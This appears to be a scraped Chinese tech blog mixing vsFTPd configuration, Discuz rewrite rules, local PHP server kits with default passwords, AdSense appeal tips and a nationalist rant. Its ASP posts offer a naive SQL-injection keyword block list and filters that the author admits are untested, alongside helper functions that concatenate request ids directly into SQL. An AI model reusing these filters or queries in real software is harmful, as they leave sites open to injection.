如何定制欢迎信息,也就是我们登入有些FTP之后,会出现类似:欢迎您来到LinuxSir FTP,在这里,您会得到最真诚的帮助,如果有什么问题和建议,请来信,多谢。

实现这个并不难,我们可以查看vsFTPd.conf文件中,是否有这行。

dirmessage_enable=YES
message_file=.message
如果没有就加上,如果dirmessage_enable=YES前面有#号,就把#号去掉。其实FTP信息默认的就是.message,所以可以不加 message_file= 来指定。自己指定也行,无所谓的事;

然后我们制定一个.message文件,写上您想要写的东西,比如是.message的内容是如下的:

–欢迎您来到LinuxSir FTP!
–在这里,您会得到最真诚的帮助;
–如果有什么问题和建议,请来信,多谢。
我们可以用编辑器来写这个.message,我想这个过程就不用说了吧。

然后我们把.message这个文件复制到各个用户的家目录中。比如我的FTP的一个用户是beinan,这个用户所在的家目录是/opt/beinan

我们就要把.message放在/opt/beinan这个目录下。如果系统用户ftp,他的目录就是/var/ftp这个目录,这个是默认的,当匿名用
户登入时就访问的是/var/ftp这个目录。我们要让匿名用户能看到欢迎信息。就要把.message放在/var/ftp目录中。其它的用户,也无非
就是类似的操作。

8.7、硬盘空间有限,如何把帐号ftp默认的家目录更改到别处?

我的硬盘空间有限,如何把帐号ftp默认的路径/var/ftp更改到别处?或者是,我的linux所有的目录都放在/根分区,因为空间紧张,我能否把ftp这个用户的默认路径放到别的分区??

对于ftp这个用户的管理,我们应该查看/etc/passwd ,然后修改ftp用户那行;

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
比如我们想把ftp用户的家目录改为/opt/ftp,则要把类似上一行改为

ftp:x:14:50:FTP User:/opt/ftp:/sbin/nologin
然后我们要建立ftp用户的新的家目录;

[root@localhost ~]# mkdir /opt/ftp
[root@localhost ~]# chmod 755 /opt/ftp
[root@localhost ~]# chown root:root /opt/ftp
如果默认的ftp磁盘空间紧张,我们其实也可以用虚拟路径映射的方法来解决;也就是mount –bind的办法;看情况吧,哪个适合就是最好的方法;

8.8、如何让vsFTP服务器限制链接数,以及每个IP最大的链接数?

应该改vsFTPd服务器的配制文件vsFTPd.conf,加入下面的两行:

max_clients=数字
max_per_ip=数字
举例:我想让我的vsFTP最大支持链接数为100个,每个IP,最多能支持5个链接,所以我应该在vsFTPd.conf中加上如下的两行:

max_clients=100
max_per_ip=5

改好了配制文件,不要忘记启动vsftp服务器。

8.9、如何限制传输速度?

anon_max_rate=数字
注:这是匿名的速度

local_max_rate=数字

注:这是vsFTP服务器上本地用户的速度
注:这个数字的单位是byte,所以我们要计算一下。比如我想让匿名用户和vsFTP上的用户都以80KB下载,所以这个数字应该是1024×80=81920

所以我们要在vsFTPd.conf中加入下面的两行

anon_max_rate=81920
local_max_rate=81920

8.10、如何有选择的把用户限制在家目录中呢?

我们要自己建一个文件,在/etc目录中或/etc/vsFTPd目录中(假如您的vsFTPd配置文件都是放在这个目录的话);

#touch /etc/vsFTPd.chroot_list

以beinan和nanbei这两个用户限制在他们所在的家目录中,而其它的FTP用户不做此限制。
在vsFTPd.chroot_list这个文件中,把beinan和nanbei添上去就行,注意,每个用户占一行。

beinan
nanbei
然后改/etc/vsFTPd/vsFTPd.conf文件,找如下的两行

chroot_list_enable=YES
chroot_list_file=/etc/vsFTPd.chroot_list
如果没有这样的两行,就可以自己添加上去也是一样的。

设置好后,重新vsFTPd服务器。

补充一之补充:如何把系统内所有的FTP用户都限制在家目录中呢??经juliaugong兄的提示,我查找了vsFTPd的洋文说明,证明这个选项是一刀切的解决所有的用户都能限制在家目录中

我们可以通过更改vsFTPd.conf文件,加入如下的一行

chroot_local_user=YES
改完配制文件,不要忘记重启vsFTPd服务器;

8.11、如何让绑定IP到vsFTPd?

如何让绑定IP到vsFTPd?也就是说,如何让用户只能通过某个IP来访问FTP。其实这个功能很有意思。如果绑定的是内网的IP,外部是没有办法访问的。如果绑定的是对外服务的IP,内网也只能通过对外服务的IP来访问FTP

在vsFTPd.conf中加一行,以我的局域网为例,请看第一帖中的操作环境,这样外网就不能访问我的FTP了,内网也可能通过192.168.0.2来访问FTP;

listen_address=192.168.0.2

以上转载http://www.19880711.com/blog/read.php?1161 大家最好上去看原作者,我的大部份配置也是这里学到的

我按照这里配好后,启动ok了,也没有大的问题,但是我要更强大的配置,如:多用户,多权限,限速(个别用户)

多用户我在这就不多讲了,按上面的方法再增加一个用户就可以了

我在这里说一下权限

如果两程权限,我建议就是定义一个组(系统的group)然后把组加到你目录的权限上就可以了

比如,用户A,B(充许修改增加删除)用户C,D只能读取

那么你把A和B放在一个组,把文件夹定义为这个组可写,CD所在组就可以不必设,这样就可以了

限速:对单用户限速

打开vsftpd.conf增加一下面一句

user_config_dir=/etc/vsftpd/userconf

在/etc/vsftpd目录下新增一个userconf目录

目录下放你想限速的人的名字,比如 afen,你就增加一个afen里面内容如下

max_clients=30
max_per_ip=1
local_max_rate=31000

以上大家应该能看懂

配完之后有一个很大的问题,flashfxp能连上去,而ie,迅雷都连不上去

如果你是pasv模式,很大部份是防火墙的问题

pasv_max_port=6010
pasv_min_port=6000

这是pasv的端口,你要在iptable打开,

-A RH-Firewall-1-INPUT -m state –state NEW -m tcp -p tcp –dport 6000:6010 -j ACCEPT

增加一句这样的话,如果是port模式,就把20端口打开,重启iptable就ok了

http://www.afen.cn/blog/?p=150

[rewrite]NPMserv设置rewrite方法

| | 0 评论 |

rewrite:

只能做一些简单的rewriterule,太复杂还是用手工改

例:^index-(.+)\.html$ index.php?id=$1

就是把index-1.html转为index.php?id=1

discuz的rewrite:

^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2
^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&page=$3
^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&extra=page\%3D$4&page=$3
^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3
^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2

如果是直接修改vhost.conf的话
Rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)\?*(.*)$ $1/archiver/index\.php\?$2&$4 last;
Rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html\?*(.*)$ $1/forumdisplay\.php\?fid=$2&page=$3&$4 last;
Rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html\?*(.*)$ $1/viewthread\.php\?tid=$2&extra=page\%3D$4&page=$3&$4 last;
Rewrite ^(.*)/space-(username|uid)-(.+)\.html\?*(.*)$ $1/space\.php\?$2=$3&$4 last;
Rewrite ^(.*)/tag-(.+)\.html\?*(.*)$ $1/tag\.php\?name=$2&$3 last;
如果是在npmserv设置的话就把前面的rewrite去掉,把后面的last;去掉,填上中间那一段就可以了,如最后一条^(.*)/tag-(.+)\.html\?*(.*)$ $1/tag\.php\?name=$2&$3这样就可以了

[web server]win系统 本地调试php生产环境各种版本下载(收集更新ing)

| | 0 评论 |

Apache 类型:
1. PHPCMS 提供的:

介绍

此服务器套件包自带 php 环境和 Phpcms2008 正式版,适合不懂php环境配置的新手用来在本机调试Phpcms,安装过程极其简单。
 
Phpcms2008 后台:
登录地址:
http://localhost/admin.php
用户名:phpcms
密码:phpcms
 
PhpMyAdmin地址:
http://localhost/phpmyadmin/
用户名:admin
密码:admin
 
PHP环境探针:
http://localhost/info.php
 
服务器套件所包含的软件:

apache 2.2.6
php 5.2.4
mysql 5.0.45
zend Optimizer 3.2.0
phpMyAdmin 2.11.1
phpcms 2008正式版本(2008年12月1日)
下载地址:
http://download.phpcms.cn/phpcms2008sp3/pc_webserver2008sp3.exe

安装方法:直接运行 pc_webserver2008.exe 文件
 
启动服务器方法: 直接运行 D:\PC_webserver\Start.bat

关闭服务器方法: 直接运行 D:\PC_webserver\Stop.bat

卸载方法:执行D:\PC_webserver\unins000.exe文件彻底删除软件包。
           
注意:如果服务器已经安装了IIS(asp运行环境),安装此软件包就需要将IIS的端口号改为其它,或者关闭IIS。

2.DedeCms 提供的:
 
软件简介:

DedeAMPZ 是直接整合PHP + Apache + MySql 的服务器环境管理软件,操作十分傻瓜化,适合初中级水平的站长使用。

主要具有如下特点:
1、支持php4、php5、MySql4、MySql5、Apache2.2、Zend Optimizer-3.3.0;(完整版)
2、安装使用十分简单,并支持在php4与php5中切换;
3、经过专业的处理后,使你配置apache+php的站点更简单;
4、本软件内置DedeCms在线安装程序,让你安装调试DedeCms更加简单;

管理客户端界面:

 

下载地址:
完整专业版:(你有一定基础或在本地调试用,请使用这个版本)
http://www.dedecms.com/upimg/soft/dedesoft/DedeAMPZForDebug.zip

服务器上安装版(如果你在服务器是正式使用,请用这个版本[仅支持MySql5\PHP5\Apache2.2]):
http://www.dedecms.com/upimg/soft/dedesoft/DedeAMPZForServer.zip

下载地址:
 
3. PHP168CMS 提供的:
 
4. 帝国提供:
 
5. HiPHP 0.4.2(apache+php+mysql)
 
0.4.2更新:
*phpmyadmin无法读取mysql.dll问题
*更新phpmyqdmin到3.2.3
*点击关闭和启动apache必须刷新后才能显示状态
*更新php至5.2.11
0.4.1更新:
*重写核心代码
*更名为HiPHP
*增加rewrite配置(新增discuz phpwind wordpress的rewrite模版)
软件简介:
HiPHP 是一款图形界面的快速搭建apache2.2.13、PHP 5.2.11、MySQL 5.1.35、phpMyAdmin 3.2.3,网站服务器平台的绿色软件。无需安装,具有灵活的移动性(如D:/HiPHP),打开HiPHP.exe启动服务即可。
HiPHP前身为NPMserv0.4.0进化过来的,为了开发两个不同版本(apache和nginx)的分支,以后集成两个版本的不再开发,但以后会开发转换工具,可以从两者之间相互转换.

1、注意事项:路径不要有中文或空格
2、MySQL默认用户名:root,密码123456
3、MySQL数据库文件存放目录:MySQL5.1\data
4、网站根目录www
5、访问本机请用http://127.0.0.1/
6、HiPHP集成了以下软件:

apahce2.2.13
PHP 5.2.11
MySQL 5.1.35
phpMyAdmin 3.2.3
Sendmail
zend3.3.3
感谢群里的同学进行测试和一些建议,感谢scomota的支持

点击下载

 
Nginx 类型:
 
1.pinyShop0.3
 
 
 
 

功能简介

PHP5.3.1/Mysql5/Nginx0.8/Memcache/Xdebug——windows下的PHP集成开发环境

pinyShop0.3特有功能

  1. PHP/Mysql/Nginx任意版本自动发现、使用功能
  2. 演示模式/调试模式两不误
  3. Windows界面,状态监视
  4. mysql等默认绑定127.0.0.1,空口令也安全
  5. PHP-CGI运行监控,保持运行
  6. 调试模式下增加目录浏览功能
  7. PHP更新到5.3.1,nginx更新到0.8.31
  8. 抛弃process.exe,使用系统自带命令,杀毒软件不再报可疑的程序

下载

反馈渠道

  1. Email: [email protected]
  2. pinyshop用户QQ群:120765055

致谢

  1. Nginx虚拟主机提供商同创科技带宽赞助
  2. RASHOST内存赞助
  3. 网友橙C的反馈

授权

免费软件,微风实验室暂时保留版权
2.NPMserv

*重新编写核心代码
*修正了bug
*增加了rewrite以外的支持
*增加了discuz、phpwind、wordpress的rewrite模版
*更新phpmyadmin至3.2.3

软件简介:
NPMserv 是一款图形界面的快速搭建nginx 0.7.63、PHP 5.2.11、MySQL 5.1.35、phpMyAdmin 3.2.3,网站服务器平台的绿色软件。无需安装,具有灵活的移动性,盘下根目录(如D:/NPMserv)、打开NPMserv.exe启动服务即可。

1、注意事项:路径不要有中文或特殊字符
2、MySQL默认用户名:root,密码123456
3、MySQL数据库文件存放目录:MySQL5.1\data
4、网站根目录www
5、访问本机请用http://127.0.0.1/
6、NPMserv集成了以下软件:

Nginx 0.7.63
PHP 5.2.11
MySQL 5.1.35
phpMyAdmin 3.2.3
Sendmail
感谢群里的同学进行测试和一些建议,远程管理考虑下个版本再加入,因为最近负责远程管理的scotoma一直联系不到他。
站长下载

 

[Rewrite]discuz X 伪静态规则-IIS -Apache -Nginx -Rewrite

| | 0 评论 |

康胜刚刚发布了discuz x beta 版本,在管理后台,全局 » 优化设置 » 搜索引擎优化 选中url静态化的选项即可,相关规则文件官方已经出示例,摘录如下:

IIS-Isapi

[ISAPI_Rewrite]     [ISAPI_Rewrite]  ------------------ bof  code  --------------  # 3600 = 1 hour  CacheClockRate 3600     RepeatLimit 32     # Protect httpd.ini and httpd.parse.errors files  # from accessing through HTTP  RewriteRule ^(.*)/topic-(.+)\.html\?*(.*)$ $1/portal\.php\?mod=topic&topic=$2&$3  RewriteRule ^(.*)/article-([0-9]+)\.html\?*(.*)$ $1/portal\.php\?mod=article&articleid=$2&$3  RewriteRule ^(.*)/forum-(\w+)-([0-9]+)\.html\?*(.*)$ $1/forum\.php\?mod=forumdisplay&fid=$2&page=$3&$4  RewriteRule ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html\?*(.*)$ $1/forum\.php\?mod=viewthread&tid=$2&extra=page\%3D$4&page=$3&$5  RewriteRule ^(.*)/group-([0-9]+)-([0-9]+)\.html\?*(.*)$ $1/forum\.php\?mod=group&fid=$2&page=$3&$4  RewriteRule ^(.*)/space-(username|uid)-(.+)\.html\?*(.*)$ $1/home\.php\?mod=space&$2=$3&$4  RewriteRule ^(.*)/([a-z]+)-(.+)\.html\?*(.*)$ $1/$2\.php\?rewrite=$3&$4
------------------ eof  code  --------------


Apache

------------------ bof  code  --------------
# 将 RewriteEngine 模式打开 RewriteEngine On   # 修改以下语句中的 /discuz 为你的论坛目录地址,如果程序放在根目录中,请将 /discuz 修改为 / RewriteBase /discuz   # Rewrite 系统规则请勿修改 RewriteRule ^topic-(.+)\.html$ portal.php?mod=topic&topic=$1 RewriteRule ^article-([0-9]+)\.html$ portal.php?mod=article&articleid=$1 RewriteRule ^forum-(\w+)-([0-9]+)\.html$ forum.php?mod=forumdisplay&fid=$1&page=$2 RewriteRule ^thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ forum.php?mod=viewthread&tid=$1&extra=page\%3D$3&page=$2 RewriteRule ^group-([0-9]+)-([0-9]+)\.html$ forum.php?mod=group&fid=$1&page=$2 RewriteRule ^space-(username|uid)-(.+)\.html$ home.php?mod=space&$1=$2 RewriteRule ^([a-z]+)-(.+)\.html$ $1.php?rewrite=$2
------------------ eof  code  --------------

Nginx Web Server

------------------ bof  code  --------------
rewrite ^(.*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 last; rewrite ^(.*)/article-([0-9]+)\.html$ $1/portal.php?mod=article&articleid=$2 last; rewrite ^(.*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?mod=forumdisplay&fid=$2&page=$3 last; rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=viewthread&tid=$2&extra=page%3D$4&page=$3 last; rewrite ^(.*)/group-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=group&fid=$2&page=$3 last; rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/home.php?mod=space&$2=$3 last; rewrite ^(.*)/([a-z]+)-(.+)\.html$ $1/$2.php?rewrite=$3 last;
------------------ eof  code  --------------

IIS用户可直接下载些httpd.ini文件放至网站根目录下  Download discuzx Version beta

 

日本撞我渔船,扣我船长一点小启示

2010年9月11日星期六 | | 0 评论 |

日本撞我渔船.扣我般长,难道ZF就仅仅是口头表示"强烈不满和严重抗议。日方如继续恣意妄为,必将自食其果。"
在日本人看来,你们就是"东亚病夫"没有反抗之力。被欺侮的对象。
之前的萨科齐事件ZF也是表示强烈不满和严重抗议,什么必将自食其果。结果了,萨厮依旧见达厮不误.而后果了? 不见得萨厮损失什么啊,法国也没损失什么,可是损失的却是中国,损失了中国的尊严,证明了在如今的21世纪,中国的领土主权问题可以被变相侵犯。悲哀,还是重演历史,重演中国被西方列强"欺侮"的历史。
如今东方列强之日本亦加入了"欺侮"中国的队伍。更是可悲。难道又跟萨厮事件一样。钓鱼岛依旧让日本人给占领?我们只是忍气吞声?悲哀啊,我实在是看不下去了。
俨然希望中华儿女觉醒。此时不醒更待何时。
呜呼哀哉~!!

 

[zencart]How to Removing Ultimate SEO URLs

| | 0 评论 |

MOD Title: Removing ZenCart Ultimate SEO URLs

MOD Description: Removing Ultimate SEO URLs safely and completely (for those who are going to buy Magic SEO URL, Ultimate SEO URLs removing can be also included in free installation service).

INSTRUCTIONS

In Zen Cart administration - Tools - Install SQL Patches paste and execute following SQL queries (optional):
------------------ bof  code  --------------
DELETE FROM `configuration_group` WHERE `configuration_group_title` LIKE '%SEO%';
DELETE FROM `configuration` WHERE `configuration_key` LIKE '%SEO%';
DROP TABLE IF EXISTS seo_cache;
------------------ eof  code  --------------

Restore following files from ZenCart installation package:
 
------------------ bof  code  --------------
admin/categories.php
admin/product.php
includes/functions/html_output.php
------------------ eof  code  --------------

Remove/delete following files:

------------------ bof  code  --------------
admin/includes/reset_seo_cache.php
admin/includes/extra_datafiles/seo.php
admin/includes/functions/extra_functions/seo.php
includes/auto_loaders/config.ultimate_seo.php
includes/classes/seo.install.php
includes/classes/seo.url.php
includes/extra_datafiles/seo.php
------------------ eof  code  --------------

Ultimate SEO URLs were removed.

[asp]asp过滤SQL的非法字符 非法sql注入字符

| | 0 评论 |

Rem 过滤HTML代码
function HTMLEncode(fString)
if not isnull(fString) then
    fString = replace(fString, ">", "&gt;")
    fString = replace(fString, "<", "&lt;")

    fString = Replace(fString, CHR(32), "&nbsp;")
    fString = Replace(fString, CHR(9), "&nbsp;")
    fString = Replace(fString, CHR(34), "&quot;")
    fString = Replace(fString, CHR(39), "&#39;")
    fString = Replace(fString, CHR(13), "")
    fString = Replace(fString, CHR(10) & CHR(10), "</P><P> ")
    fString = Replace(fString, CHR(10), "<BR> ")

    'fString=ChkBadWords(fString)
    HTMLEncode = fString
else
   HTMLEncode=fstring
end if
end function

Rem 过滤SQL非法字符
function checkStr(str)
 if isnull(str) then
  checkStr = ""
  exit function
 end if
 checkStr=replace(str,"'","''")
end function

Rem 判断数字是否整形
function isInteger(para)
       on error resume next
       dim str
       dim l,i
       if isNUll(para) then
          isInteger=false
          exit function
       end if
       str=cstr(para)
       if trim(str)="" then
          isInteger=false
          exit function
       end if
       l=len(str)
       for i=1 to l
           if mid(str,i,1)>"9" or mid(str,i,1)<"0" then
              isInteger=false
              exit function
           end if
       next
       isInteger=true
       if err.number<>0 then err.clear
end function

function printclass1(id)
  SQL1 = "Select * From [BJX_class1] where anclassid="&id
  Set Rs1 = Conn.Execute(SQL1)
  response.write rs1("anclass")
  rs1.close
  set rs1=nothing
end function

function printclass2(id)
  SQL1 = "Select * From [BJX_class2] where nclassid="&id
  Set Rs1 = Conn.Execute(SQL1)
  response.write rs1("nclass")
  rs1.close
  set rs1=nothing
end function

function printzj1(id)
  SQL1 = "Select * From [BJX_zj1] where anzjid="&id
  Set Rs1 = Conn.Execute(SQL1)
  response.write rs1("anzj")
  rs1.close
  set rs1=nothing
end function

function printzj2(id)
  SQL1 = "Select * From [BJX_zj2] where nzjid="&id
  Set Rs1 = Conn.Execute(SQL1)
  response.write rs1("nzj")
  rs1.close
  set rs1=nothing
end function

function zpcount(id)
  set rs1=server.createobject("adodb.recordset")
  rs1.open "select * from BJX_goods where nzjid="&id,conn,1,1
  response.write rs1.recordcount
  rs1.close
  set rs1=nothing
end function

Function RemoveHTML(strHTML)
 Dim objRegExp, Match, Matches
 Set objRegExp = New Regexp
 objRegExp.IgnoreCase = True
 objRegExp.Global = True
 objRegExp.Pattern = "<.+?>"
 Set Matches = objRegExp.Execute(strHTML)
 For Each Match in Matches
  strHtml=Replace(strHTML,Match.Value,"")
 Next
 RemoveHTML=strHTML
 Set objRegExp = Nothing
End Function 

[ASP]三种过滤SQL的非法字符 非法sql注入字符[备用]

| | 0 评论 |

过滤非法的SQL字符 非法sql注入字符代码,下面我们为你提供了三种过滤sql注入的asp教程做法,过滤非法sql与字符就可以有效的防止部份注入了。


'**************************************************
'函数名:R
'作 用:过滤非法的SQL字符
'参 数:strChar-----要过滤的字符
'返回值:过滤后的字符
'**************************************************

Public Function R(strChar)
If strChar = "" Or IsNull(strChar) Then R = "":Exit Function
Dim strBadChar, arrBadChar, tempChar, I
'strBadChar = "$,#,',%,^,&,?,(,),<,>,[,],{,},/,,;,:," & Chr(34) & "," & Chr(0) & ""
strBadChar = "+,',--,%,^,&,?,(,),<,>,[,],{,},/,,;,:," & Chr(34) & "," & Chr(0) & ""
arrBadChar = Split(strBadChar, ",")
tempChar = strChar
For I = 0 To UBound(arrBadChar)
tempChar = Replace(tempChar, arrBadChar(I), "")
Next
tempChar = Replace(tempChar, "@@", "@")
R = tempChar
End Function
'过滤xss
Function CheckXSS(ByVal strCode)
Dim Re
Set re=new RegExp
re.IgnoreCase =True
re.Global=True
re.Pattern="<.[^>]*(style).>"
strCode = re.Replace(strCode, "")
re.Pattern="<(a.[^>]*|/a|li|br|B|/li|/B|font.[^>]*|/font)>"
strCode=re.Replace(strCode,"[$1]")
strCode=Replace(Replace(strCode, "<", "<"), ">", ">")
re.Pattern="[(a.[^]]*|/a|li|br|B|/li|/B|font.[^]]*|/font)]"
strCode=re.Replace(strCode,"<$1>")
re.Pattern="<.[^>]*(on(load|click|dbclick|mouseover|mouseout|mousedown|mouseup|mousewheel|keydown|submit|change|focus)).>"
strCode = re.Replace(strCode, "")
Set Re=Nothing
CheckXSS=strCode
End Function

防sql非法字符注入二

Function FilterIDs(byval strIDs)
Dim arrIDs,i,strReturn
strIDs=Trim(strIDs)
If Len(strIDs)=0 Then Exit Function
arrIDs=Split(strIDs,",")
For i=0 To Ubound(arrIds)
If ChkClng(Trim(arrIDs(i)))<>0 Then
strReturn=strReturn & "," & Int(arrIDs(i))
End If
Next
If Left(strReturn,1)="," Then strReturn=Right(strReturn,Len(strReturn)-1)
FilterIDs=strReturn
End Function

过滤sql注入字符三

'**************************************************
'函数名:R
'作 用:过滤非法的SQL字符
'参 数:strChar-----要过滤的字符
'返回值:过滤后的字符
'**************************************************

Public Function R(strChar)
   If strChar = "" Or IsNull(strChar) Then R = "":Exit Function
   Dim strBadChar, arrBadChar, tempChar, I
   'strBadChar = "$,#,',%,^,&,?,(,),<,>,[,],{,},/,,;,:," & Chr(34) & "," & Chr(0) & ""
   strBadChar = "+,',--,%,^,&,?,(,),<,>,[,],{,},/,,;,:," & Chr(34) & "," & Chr(0) & ""
   arrBadChar = Split(strBadChar, ",")
   tempChar = strChar
   For I = 0 To UBound(arrBadChar)
    tempChar = Replace(tempChar, arrBadChar(I), "")
   Next
   tempChar = Replace(tempChar, "@@", "@")
   R = tempChar
End Function

sql防注入四

Function CheckSql() '防止SQL注入
    Dim sql_injdata 
    SQL_injdata = "'|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
    SQL_inj = split(SQL_Injdata,"|")
    If Request.QueryString<>"" Then
        For Each SQL_Get In Request.QueryString
            For SQL_Data=0 To Ubound(SQL_inj)
                if instr(Request.QueryString(SQL_Get),Sql_Inj(Sql_DATA))>0 Then
                    Response.Write "<Script Language='javascript教程'>{alert('请不要在参数中包含非法字符!');history.back(-1)}</Script>"
                    Response.end
                end if
            next
        Next
    End If
    If Request.Form<>"" Then
        For Each Sql_Post In Request.Form
            For SQL_Data=0 To Ubound(SQL_inj)
                if instr(Request.Form(Sql_Post),Sql_Inj(Sql_DATA))>0 Then
                    Response.Write "<Script Language='javascript'>{alert('请不要在参数中包含非法字符!');history.back(-1)}    </Script>"
                    Response.end
                end if
            next
        next
    end if
End Function

备用,暂时还没有测试...

[adsense]分享一网友 Google Adsense 被K后申诉成功

| | 0 评论 |

 8月7号的那天下午,打开adsense看有多少收入的时候,突然被告知什么什么给广告商带来风险,停用了我的帐号,当时就懵了,很愤怒很无奈.我都没有作弊啊,怎么会无故封我的号.帐号里还有70多刀,眼看就能拿到钱了.

  然后找原因,我还以为是我那论坛有个音乐版块才会的,于是写了申诉,说我没有作弊,一时没在意那个音乐版块有广告,请查清楚之类的.第二天, adsense回信了,说仔细查了我帐户后,还是认为给广告商带来风险.那时在网上找资料,看到好多人都没申诉成功.那时开始也有点失望了. 本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系。

  不过心里还是不怎么甘心,于是又去申诉,想了想,才记得那天下午看到adsense的ecpm升到0.5,不过那时才展示了几百次,所以也没怎么在意.于是把我猜到的原因都写了上去.那时已经觉得没希望了,已经重新申请第二个帐号了.谁知道过了一个星期,突然收到adsense的回信了: .

  [#320667810] Google AdSense Account Reinstated .

在对您的 AdSense 帐户进行全面的重新审核后,我们决定将其恢复。 不过,广告开始在您的网站上投放可能会有一定的延迟,因为我们所有的服务器收到更改通知可能需要最多 48 小时的时间。 ...

为了防止将来出现无效活动,建议您查看这些参考资料以了解有关无效活动、我们的计划政策以及如何保持帐户良好信誉的详情: . 

http://www.google.com/adsense/policies
http://www.google.com/adsense/terms
http://www.google.com/adsense/support/bin/topic.py?topic=8426
http://www.google.com/adsense/support/bin/answer.py?answer=23921 版权申明:本站文章均来自网络,如有侵权,请联系021-86262244,我们收到后立即删除,谢谢!

同时也建议您定期查看网站的点击量日志中是否存在任何可疑活动,并通过以下网址将您的发现告诉我们:http: //www.google.com/adsense/support/bin/request.py?contact=invalid_clicks_contact 。 您不必将所有无效点击情况都告诉我们,因此,在向我们报告网站上的异常活动时,建议您先尽量自行加以判断。 ..

如果在记录网站点击量以确定访问者来源方面需要帮助,建议您使用 Google Analytics(分析): http://www.google.com/analytics/zh-CN/ 。 您还可尝试在 Google 中搜索以下字词: .

网站管理员资源
网站跟踪与记录
网站点击量分析 根据专家观察,这样的理论和现象都是值得各位站长深思的,所以希望大家多做研究学习,争取总结出更多更好的经验!

感谢您的耐心等待,对于任何不便之处,我们深表歉意。如有任何疑问,请通过以下网址访问我们的支持中心:http://www.google.com/adsense/support ,或通过以下网址与我们联系:http://www.google.com/adsense/support/bin/request.py

!

  感谢adsense~~!!太高兴了 . 

  在这里分享给大家,没什么文化,文笔不好别见怪,希望那些没有作弊被adsense封号的人不要放弃,仔细回想帐号有什么异常.告诉adsense,并承诺以后不再犯,这样应该能解封. 本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系。

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。

 

[adsense]Google AdSense的申诉信写法

| | 0 评论 |

天给大家分享下。

据说一周就申诉成功的Google AdSense的申诉信写法

如您所知,Google 一向非常认真地对待无效点击活动。我们审核了您的情况并且已经恢复了您的帐户,该决定即时生效。请注意,在我们对服务器进行更新,并使您的网站重新开始投放广告之前,会有最多 48 小时的延迟。

感谢您对自己的情况进行说明。非常感谢您的耐心,对于任何不便之处,我们深表歉意。如有任何问题,请随时回复此邮件。


我现在编辑一下,主要我的信件提供的信息有如下,我简要点说了,各位写信的时候尽量把你的用户行为写的详细些。

1、按照格式写申诉,如下:


- 您的姓名

- 您的公司名称(如果有)

- 您的发布商 ID 号码(位于您的网站的 AdSense代码中,格式为:pub-################)

- 您网站的网址

- 您的帐户被停用的日期

- 您网站的受众

- 您网站内容的来源

- 内容更新频率

- 您的网站点击量的主要来源

- 参与网站管理的人数

- 任何您认为可以解释与我们所检测到的无效点击行为相关的信息

如果 Google 决定对您的申诉进行评估,我们会尽快通知您,然后根据需要采取适当的行动。如果我们对您的申诉做出了决定,您之后的申诉或重复的申诉将不会被考虑。


2、说一下你的做站过程很申请过几次google adsense然后正式投放是从什么时候开始。之前不能发布是什么原因,后来怎么样;

3、把自己申请过google adsense的所有用过的邮箱都贴出来。

4、分析有可能导致google 程序会自己判断为关联的所有的用户行为(一个一个想,想到的都写上)
例如:
A、在公司几百个人同时用一个ip 的局域网上网,登陆过帐号,可能导致关联。因为几百号人中也有可能有别人做google。
B、在网吧是否登陆过,登陆过多少次;
C、家里有几台电脑上过GOOGLE帐户;
D、在网站宣传过程中用的哪种手段会被认为关联(blog、网摘、其他网友blog的摘录等情况都写上)
E、分析是否被人恶意攻击或是恶意搞破坏报复等;
F、网站是否被人采集,而且是连广告代码也一起采集,采集过多少次知道的都写上;
G、网站文章是否被收藏,或是保存在本地,经常会点广告之类;
H、然后再说说你对google广告的发布态度,是从来都是认真负责的。

大概就这么多,其他的饿要靠各位申诉的伙伴们整理整理,但是各位伙伴也建议我不要说的太偏激,所以,最好是要以平和的态度和语气去说明你的经历,google会调查清楚的。

参考资料: http://www.phpwind.net/read-htm-tid-359382.html

[adsense]当Google Adsense联盟账户停用的申诉说明

| | 0 评论 |

  Google Adsense联盟帐号因为某种原因被Google Adsense公司停用了,这个时候,激动和愤怒是没有用的,哪怕你让全世界都知道并认可你是无辜的也没有任何帮助。
  Google Adsense联盟账号被停用,可能有两个原因,一个原因就是你确实违反了Google Adsense制订的一些规则;另一个原因,那是他们错误的停用了账号。

  第一种情况:你确实违反了Google Adsense投放广告的规则

  如果你确实违反规则了,你只有两个选择:
  1、承认错误并且告诉服务小组你的诚意同时告诉他们你的网站的价值所在,你可能获得一个申请新帐号的机会;
         2、就是忘了Google Adsense,选择其他更适合你的广告。

  第二种情况:Google Adsense联盟错误的停止了账号:

        如果确信自己的被错误停止了帐号,就需要你提供尽可能详细的资料给服务小组(比如你的统计,iis日志),他们会重新审核你的帐号,一旦发现是错误的操作会很快恢复你的帐号的,在广告发布者论坛已经有很多这样的案例。

  最后需要提醒的是:如果实在没办法就换个姓名或者地址或者网站去在申请,强烈建议你一定要能明白到底哪违法了规则,以后尽量避免违反这些规则。

http://www.dingfengnet.com/wangzhanyunying/wangluozhuanqian/2009-02-10/29523.html

在线动漫视频[火影忍者]Naruto 第397集「伊鲁卡的试炼」 抢新版

2010年9月9日星期四 | | 0 评论 |

最新动漫视频[火影忍者]Naruto 第397集「伊鲁卡的试炼」 抢新版 在线观看

中文字幕 - 火影在线观看 - 实时更新 - 精彩不断


[火影忍者]Naruto 第397集「伊鲁卡的试炼」 剧情介绍:

